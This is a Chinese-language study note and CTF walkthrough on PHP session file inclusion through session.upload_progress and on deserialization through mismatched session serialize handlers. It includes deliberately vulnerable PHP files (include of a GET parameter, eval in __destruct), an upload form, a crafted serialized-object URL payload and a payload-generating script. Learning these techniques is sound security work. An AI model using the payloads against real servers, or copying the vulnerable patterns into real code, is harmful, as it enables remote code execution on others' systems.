PHPsessionLFI和反序列化漏洞学习
php session基础知识
用处是建立和用户之间的联系,phpsess_id是服务器生成的值,用于身份识别,在cookie中可以看到
php操作session之前要进行session_start(),然后可以通过$_SESSION这个全局变量来操作数据
在phpinfo中可以看到一些session有关的配置
一些常见的配置作用:
session.cache_expire | 存活时间 |
session.name | 会话名称 |
session.upload_progress.cleanup |
开启时上传完成了把session文件删掉 |
session.upload_progress.enabled | 开启可以实现文件上传进度显示 |
session.upload_progress.name | 上传过程在session存储中的名字 |
session.serialize_handler | session序列化处理器 |
session.save_path | session文件存储的路径 |
php利用session.upload_progress进行文件包含
利用条件:session.upload_progress.enabled为on,php版本>5.5.4
利用原理:当一个上传在处理中,同时POST一个与session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。
此时我们上传文件时,php会生成一个session文件来记录上传的进度,生成的文件路径为session.save_path/sess_phpsessid,此时如果session.strict_mode为off,可以在cookie中自定义phpsessid的值从而实现路径已知,也就是说可以将恶意语句写入到一个已知路径的文件,进行文件包含即可利用。
利用实例1:
新建test.php
<?php session_start();
$_SESSION['name']=$_GET['name'];//提供一种往session全局变量写入内容的方法,先进行简单利用的测试
include($_GET['path']); //为文件包含漏洞所提供
//此次测试时phpsess_id=94qj12rj9dec8fbfqo4f579c45
?>
攻击成功
利用实例2:模拟当test.php不提供直接写session功能时的攻击
test.php
<?php $path=$_GET['path']; if($path){ include($path); } ?>
构造文件上传表单
<html> <body> <form action="test.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
通过表单上传文件并构造恶意语句
可见利用成功
在两个实例中为方便漏洞验证把session.upload_progress.cleanup设置为off,默认情况为On,此时需要用条件竞争,即疯狂上传趁着session文件还没给删掉把它包含上
php中session处理产生的反序列化漏洞
php在session存储和读取过程中,存在序列化和反序列化的过程,php内置多种处理器来处理这个过程。
在phpinfo中session.serialize_handler的值对应session的处理器:
session处理器 | 反序列化字符串形式 |
php | name|s:2:"yu"; |
php_binary | 二进制字符names:2:"yu"; |
php_serialize | a:1:{s:4:"name";s:2:"yu";} |
默认和使用的处理器不同,处理session会存在格式差异,造成反序列化漏洞。
在文件中设置处理器的方法:
ini_set('session.serialize_handler','php');
利用条件:默认和使用的session.serialize_handler不一致,php版本>5.5.4
利用方式:
创建test.php
<?php ini_set('session.serialize_handler','php_serialize'); //此时默认为php,使用php_serialize session_start(); $_SESSION['name']=$_GET['name']; highlight_file('D:/phpstudy/tmp/tmp/sess_4g9591sm4fhpmba43lr0lbt1a7'); //根据sessionid写出,便于直观看见 ?>
此时传参a,session中反序列化值按照php_serialize的形式,
test2.php
<?php session_start(); class s{ var $name='a'; function __wakeup(){ echo $this->name; } } ?>
在test2.php中session用默认引擎php处理
构造http://127.0.0.1/test.php?name=|O:1:%22s%22:1:{s:4:%22name%22;s:6:%22hacker%22;},访问test2.php时即打印出攻击者构造的hacker,原因是在当test2.php的session_start函数读取session数据时会进行反序列化操作,而此时使用php来处理,遇到|时会视为一个分隔符,把|后面当作键值,于是O:1:%22s%22:1:{s:4:%22name%22;s:6:%22hacker%22;}被当成独立的值而非字符串进行反序列化,触发__wakeup函数打印出我们构造的hacker
利用实例:http://web.jarvisoj.com:32784/
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
传入phpinfo查看信息
没有提供直接写入session的语句,可以通过前文中上传post同名变量的方式写,而该方式写入的数据以php_serialize进行序列化,此文件中又用php处理session反序列化,即可通过构造恶意的OowoO类序列化值进行攻击
构造payload
<?php class OowoO { public $mdzz; function __construct() { $this->mdzz = 'echo "yu"'; } function __destruct() { eval($this->mdzz); } } $a=new OowoO; echo serialize($a); ?>
用session.upload_progress的特性传参
执行成功